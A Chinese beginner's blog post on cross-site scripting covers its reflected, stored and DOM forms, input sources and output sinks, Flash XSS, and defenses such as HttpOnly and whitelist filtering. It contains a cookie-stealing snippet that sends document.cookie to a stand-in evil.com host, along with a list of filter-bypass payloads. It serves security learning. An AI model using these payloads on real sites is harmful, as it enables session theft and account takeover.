XSS大法

这篇文章只是一些关于XSS我认为比较重要的地方,并没有系统的学习内容。具体的细节可以参考一些书本或者大佬的博客。

书本:《白帽子将web安全》

大佬博客:https://www.cnblogs.com/leestar54/p/5798937.html#wiz_toc_7

这位大佬把白帽上的知识总结了一下 ,没有书的朋友可以直接看

首先,XSS有三种类型(严格来说有两种)

1.需要扎实的html、JavaScript、ActionScript(Flash XSS)功底(绕过与攻击语句)

2.是一种被动的攻击手法

3.website有http-only、crossdomian.xml时没有用

1.反射型XSS

发出请求时,XSS代码出现在URL中,作为输入,提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,所以叫做反射型XSS。

2.存储型XSS

存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。

存储型的XSS危害最大,因为它是直接将代码存储进服务器中,每次使用该服务器都会令这段代码运行一次,比方在一个网页中存在存储型XSS,有人将窃取cookie的代码写进去,那么访问这个页面的所有用户的cookie都会被这个人得到,这会泄露大量的个人隐私,当然也可以写一些其他代码来进行不同的用处。

最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当作正常的HTML与JavaScript解析执行,然后就出发了XSS攻击。

3.DOM XSS

DOM XSS和反射型、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS考的时浏览器端的DOM解析,完全是客户端的事情。DOM型也属于反射型,不过修改的是DOM节点。

攻击时:img标签是自动触发而受到攻击的,p标签是引诱触发而受到攻击的,而iframe则是广告植入攻击。

所使用的语言可分为JavaScript,flash,和其他富客户端语言。


对于我们这些刚接触安全不久的新人来说,从教程上看到了一些代码,但是却不知道怎么使用是常有的事。

写入JavaScript脚本的方法:

1.从url中写入

这个方法就不用多说了,有的网站会把一些参数放在url中,如果其中就有注入点的话那么直接把参数修改成想要的XSS攻击语句就好了。

2.从控制台写入

有时url中不会显示参数,这时我们可以从控制台中写入参数。

(如果浏览器支持调试,可以使用console()方法在浏览器中显示JavaScript值)

控制台中可以不用添加<script>标签。

感觉这个很简单但是很重要。在学习时不论是看其他人的文章还是书本、官网,大佬们都是直接给出代码段。

例如最简单的窃取cookie:

var img=document.createElement("img"); img.src="http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);

当时不知道要怎么实现这个代码段,后来看js教程的时候发现。

使用控制台console

将代码输入到下面输入框中

如果觉得看不懂的话就修改一下代码:

var img=document.createElement("img"); img.src="http://www.evil.com/log?"+alert(document.cookie); document.body.appendChild(img);


这样就能找到cookie了。

一些绕过的方法:

"><script>alert(2)</script>

"><SCript>alert(2)</SCript> //大小写

"><scriscriptpt>alert(2)</scriscriptpt> //双写

"><a href=javascript:alert(2)> //超链接

"><iframe src=javascript:alert(2)> //创建一个内联框架

"><img src=x onerror=javascript:alert(2)> //报错

" onmouseover=javascript:alert(1)> //鼠标悬停

" onclick=javascript:alert(1) //点击

" onfocus=javascript:alert(1) autofocus=" //焦点,自动聚焦

htmlspecialchars() //过滤尖括号'<'

......

在绕过的时候既可以在原本的属性上直接添加,也能闭合原属性创建一个新的属性,还可以闭合原本的标签创建一个新的标签......还有许多其他的绕过方法,这里就不一一列举了。

对于XSS来说,最重要的就是输入点和输出点,这两个地方时寻找XSS漏洞的关键。

常见的输入点:

document.URL

document.URLUnencoded

document.location

document.referrer

window.location

window.name

xhr请求回来的数据

document.cookie

表单项的值

常见的输出点:

直接输出html内容,如:

document.write(...)

document.writeln(...)

document.body.innerHtml=...

总之,XSS需要很好的HTML、JavaScript和ActionScript的功底(用来写攻击语句)。

XSS平台:

一般都会有自己习惯的XSS平台,里面包括一些攻击语句,也可以从这个平台接受语句返回的内容。

Flash XSS:

前面提到的XSS攻击都是基于HTML的,其实在Flash中同样也有可能造成XSS攻击。 

在Flash中是可以嵌入ActionScript脚本的。一个最常见的Flash XSS可以这样写: 

getURL(“javascript:alert(document.cookie)”) 

ActionScript是一种非常强大和灵活的脚本,甚至可以使用它来发起网络连接,因此应该尽可能地阻止用户能够上传和加载自定义的Flash文件。 

由于Flash文件如此危险,所以在实现XSS Filter时,一般都会禁用、等标签。后者甚至可以加载ActiveX控件,产生更为严重的后果。 

嵌入FLash的脚本重要的参数有allowScriptAccess(推荐值never)、allowNetworking(建议值none或者internal)。 

Flash XSS往往被忽视,因为其问题出现在编译后的Flash文件中。

防护方法:

使用httponly,如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。

对输入和输出进行检查和过滤,最好使用白名单而不是黑名单。

富文本

有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为”富文本”。比如,一个用户在论坛里发帖,帖子里的内容里要有图片、视频、表格等,这些“富文本”的效果都需要通过HTML代码来实现,而区分普通富文本和恶意文本的方法还是输入和输出的检查,在这两个地方要进行严格的筛选。 

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,163评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,301评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,089评论 0 352
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,093评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,110评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,079评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,005评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,840评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,278评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,497评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,667评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,394评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,980评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,628评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,796评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,649评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,548评论 2 352

推荐阅读更多精彩内容

  • 第一部分 HTML&CSS整理答案 1. 什么是HTML5? 答:HTML5是最新的HTML标准。 注意:讲述HT...
    kismetajun阅读 27,472评论 1 45
  • XSS XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击...
    网络安全自修室阅读 2,665评论 0 5
  • 什么是XSS? 跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 Web 应用程序中的...
    lokisteven阅读 1,522评论 0 2
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,057评论 0 16
  • 作者:dwqshttps://github.com/dwqs/blog/issues/68 在 Web 安全领域中...
    grain先森阅读 403评论 0 2